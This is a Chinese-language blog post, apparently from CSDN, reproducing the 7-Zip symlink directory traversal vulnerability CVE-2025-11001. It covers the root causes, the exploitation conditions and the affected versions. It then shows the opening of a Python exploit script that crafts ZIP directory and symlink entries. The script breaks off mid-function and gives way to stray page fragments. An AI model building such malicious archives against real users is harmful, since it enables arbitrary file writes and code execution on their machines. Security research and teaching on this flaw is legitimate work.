复现:7-Zip目录穿越漏洞(CVE-2025-11001)
声明:本文仅限合法授权环境的安全研究与教学,禁止任何非法利用,违者后果自负,作者概不负责。
漏洞介绍:
CVE-2025-11001 是 2025 年 10 月公开的高危目录穿越漏洞,存在于开源压缩软件 7-Zip(Windows 版)对 ZIP 包内符号链接的处理逻辑中。攻击者通过构造包含恶意符号链接的 ZIP 文件,可在用户解压时把任意文件写入预期目录之外的任意位置(如启动项、系统目录),进而实现远程代码执行。
漏洞成因:
- 路径类型误判:Linux 风格绝对路径检查逻辑对 Windows 路径(如 C:…)失效,把绝对路径错标为“相对路径”。
- 路径拼接绕过:被误判的“相对”符号链接会被追加 ZIP 内部目录前缀,从而绕过 IsSafePath 检查。
- 目录检查缺失:最终的危险路径过滤只对“目录”项生效,符号链接文件跳过该检查。
利用条件:
- 仅影响 Windows 平台,且需管理员/服务账户或已开启“开发者模式”的系统。
- 需要用户手动解压攻击者发来的恶意 ZIP 文件(用户交互)。
- 影响版本:7-Zip v21.02 – v24.09;v25.00 及之后版本已修复。
危害评分 :
CVSS 3.x 基础分 7.0(高危),可利用性评级为“高”,POC 已公开,目前尚无在野利用报告。
复现过程:
Github上有利用脚本,可一键生成zip
GitHub地址:GitHub - pacbypass/CVE-2025-11001: Exploit for CVE-2025-11001 or CVE-2025-11002
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
print(f"[INFO] 添加目录条目: {
arcname}")
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
print(f"[SUCCESS] 目录条目添加成功: {
arcname}")
def add_symlink(z, arcname, target):
print(f"[INFO] 添加符号链接条目: {
arcname} -> {
target}")
zi = zipfile.ZipInfo
241


&spm=1001.2101.3001.11974&articleId=153738262&d=1&t=3&u=7069264d803243c0827a4a384a854854)

被折叠的 条评论
为什么被折叠?



